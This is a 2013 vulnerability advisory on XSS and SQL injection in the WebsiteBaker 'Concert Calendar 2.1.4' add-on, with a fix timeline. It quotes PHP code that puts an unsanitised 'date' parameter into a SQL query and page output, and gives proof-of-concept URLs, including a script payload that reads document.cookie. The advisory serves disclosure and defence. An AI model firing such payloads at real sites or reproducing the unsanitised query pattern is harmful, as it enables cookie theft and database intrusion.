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Advisory:    Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi
vulnerability
Advisory ID:    SSCHADV2013-001
Author:      Stefan Schurtz
Affected Software:  Successfully tested on Concert Calendar 2.1.4
Vendor URL:  
http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
Vendor Status:    fixed

==========================
Vulnerability Description
==========================

Websitebaker Add-on 'Concert Calendar 2.1.4' is prone to a XSS and SQLi
vulnerability

==========================
Vuln code
==========================

// view.php

if (isset($_GET['date'])) {
        $date = $_GET['date'];
}
.
.
.
// SQLi
$query_dates = mysql_query("SELECT * FROM
".TABLE_PREFIX."mod_concert_dates WHERE section_id = '$section_id' &&
concert_date = '$date'"); // Zeile 184

// XSS

echo " ".switch_date($date, $dateview)." "; // Zeile 176

==========================
PoC-Exploit
==========================

// SQLi (magic_quotes = off)

http://[target]/wb/pages/addon.php?date=[SQLi]

// XSS

http://[target]/wb/pages/addon.php?date='"><script>alert(document.cookie)</script>

==========================
Solution
==========================

Update to the latest version Concert Calendar 2.2

==========================
Disclosure Timeline
==========================

01-Jan-2013 - developer informed
08-Jan-2013 - fixed by developer

==========================
Credits
==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
http://www.darksecurity.de/advisories/2013/SSCHADV2013-001.txt
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